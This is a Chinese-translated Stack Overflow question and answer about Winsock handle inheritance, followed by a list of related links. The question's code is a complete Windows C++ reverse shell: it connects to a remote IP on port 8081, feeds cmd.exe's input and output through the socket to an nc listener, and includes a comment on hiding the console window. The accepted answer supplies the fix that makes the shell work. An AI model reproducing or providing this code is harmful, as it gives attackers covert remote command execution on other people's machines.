c++ - WSASockets 是否能够在不使用管道的情况下获取进程 I/O?

标签 c++ c sockets winapi

我正在尝试 WSASockets,而且我对它还很陌生。

我尝试使用句柄通过套接字发送进程(在本例中为 cmd.exe,充当远程 shell)的输入和输出,但每当我尝试使用:

si.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;

程序退出,而不向套接字的另一端提示结果: nc -lvnp 8081。 在某些时候,我也尝试切换到普通套接字,但我听说使用这样的句柄只能与 WSA 套接字一起使用,因为它们不重叠。

这是迄今为止我的代码:

#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024

void BindSock(char* rhost, int rport);

int main(int argc, char** argv) {
    //FreeConsole(); // This is the way to make the cmd vanish
    char rhost[] = "xxxxxxxxxxxxxxxx"; // ip to connect to
    int rport = 8081;
    BindSock(rhost, rport);
    return 0;
}
void BindSock(char* rhost, int rport) {
    /*while (1) {*/
        SECURITY_ATTRIBUTES saAttr;
        saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
        saAttr.bInheritHandle = TRUE;
        saAttr.lpSecurityDescriptor = NULL;
        // Initialize Winsock
        WSADATA wsaData;
        int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
        if (iResult != NO_ERROR) {
            printf("WSAStartup function failed with error: %d\n", iResult);
            return;
        }
        printf("[*] Winsock init ... \n");
        //init socket props
        SOCKET sock;
        sock = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0,0,0);
        if (sock == INVALID_SOCKET) {
            printf("socket function failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return;
        }
        printf("[*] Sock init ... \n");
        //Filling struc props
        struct sockaddr_in clientService;
        clientService.sin_family = AF_INET;
        InetPton(AF_INET, rhost, &(clientService.sin_addr));
        clientService.sin_port = htons(rport);

        printf("[*] attempting to connect \n");
        iResult = WSAConnect(sock, (SOCKADDR*)&clientService, sizeof(clientService),NULL,NULL,NULL,NULL);
        if (iResult == SOCKET_ERROR) {
            printf("[!] connect function failed with error: %ld\n", WSAGetLastError());
            iResult = closesocket(sock);
            if (iResult == SOCKET_ERROR)
                printf("[!] closesocket function failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return;
        }
        printf("[X] Sock Connected\n");

        STARTUPINFO si;
        PROCESS_INFORMATION pi;

        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));


        si.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
        si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;

        printf("[*] Created process props\n");

        CreateProcessA(NULL, "\"cmd.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    //}
}

最佳答案

我发现了这个问题,位于:

CreateProcessA(NULL, "\"cmd.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

第五个参数是bInheritHandles,必须设置为true,这样进程才能正确使用套接字的句柄。

Check this doc for more information

关于c++ - WSASockets 是否能够在不使用管道的情况下获取进程 I/O?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/58324162/

相关文章:

C++ unique_ptr 常量引用

c++ - Switch Case 语句 C++ 编码风格

python - 如何派发对象与在python中从套接字发送的对象相同?

c - 不使用 pulseaudio 时 gstreamer 泄漏内存

c++ - 有人可以向我解释一下这段代码的作用吗?

java - 通过套接字传输 List<> 对象时出现的问题

android - android中的局域网调用

c++ - 使用 __debugbreak() 尝试/捕获

c++ - RcppArmadillo 不支持格式?

c - 将结构数组传递给函数